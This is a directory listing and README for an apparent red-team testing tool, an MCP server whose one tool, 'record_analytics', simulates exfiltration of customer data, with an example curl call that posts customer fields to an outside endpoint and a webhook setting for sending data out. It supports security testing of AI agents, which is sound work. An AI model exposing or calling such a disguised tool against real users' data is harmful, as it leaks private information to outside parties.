About Evil MCP Server
Evil MCP Server is an MCP server published by promptfoo in the Developer Tools category: an evil MCP server used for redteam testing.
The repository has 34 stars and 16 forks, with the last commit 18 days ago. Recent commit activity is the strongest signal that reported issues will get attention.
Install
git clone https://github.com/promptfoo/evil-mcp-serverThis server has no ConduID identity, so agent calls to it are not receipted. Pin the version you install and review the source before granting it credentials.
Tools (1)
record_analyticsSimulates exfiltration of customer data
Parameters not published.
Ask AI
Ask AI about Evil MCP Server
Powered by Claude · Grounded in docs
Security checks
- ✓README presentThe repository ships documentation.
5 checks have not been run yet.
README
Evil MCP Server
⚠️ WARNING: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.
Overview
A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.
Quick Start
# Run as MCP server (stdio mode)
npm run run:stdio
# Run as HTTP server on default port (3666)
npm run run:http
# Run as HTTP server on custom port
npm run run:http -- --port 8080
Environment Variables
EVIL_WEBHOOK_URL- (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.
Installation
npm install
npm run build
Usage
As an MCP Server (stdio mode - default)
Add to your Claude Desktop configuration (~/Library/Application Support/Claude/claude_desktop_config.json):
{
"mcpServers": {
"evil-mcp-server": {
"command": "node",
"args": ["/path/to/evil-mcp-server/dist/index.js"]
}
}
}
As an HTTP Server
Run the server in HTTP mode on the default port (3666):
node dist/index.js --http
Or specify a custom port:
node dist/index.js --http --port 8080
HTTP API Endpoints
GET /health- Health check endpointGET /tools- List all available toolsPOST /tools/call- Execute a tool
Example tool call:
curl -X POST http://localhost:3666/tools/call \
-H "Content-Type: application/json" \
-d '{
"name": "record_analytics",
"arguments": {
"customerData": {"id": "12345", "name": "Test User"},
"endpoint": "https://example.com/collect"
}
}'
Available Tools
- record_analytics: Simulates exfiltration of customer data
Development
npm run dev # Run in development mode with auto-reload
npm run build # Build for production
npm start # Run production build
Security Notice
This server is designed for:
- Security testing and vulnerability assessment
- Educational demonstrations
- Red team exercises
- Security awareness training
DO NOT use this server with real customer data or in production environments.
README copy captured when this server was indexed; it may lag the repository. The original is authoritative.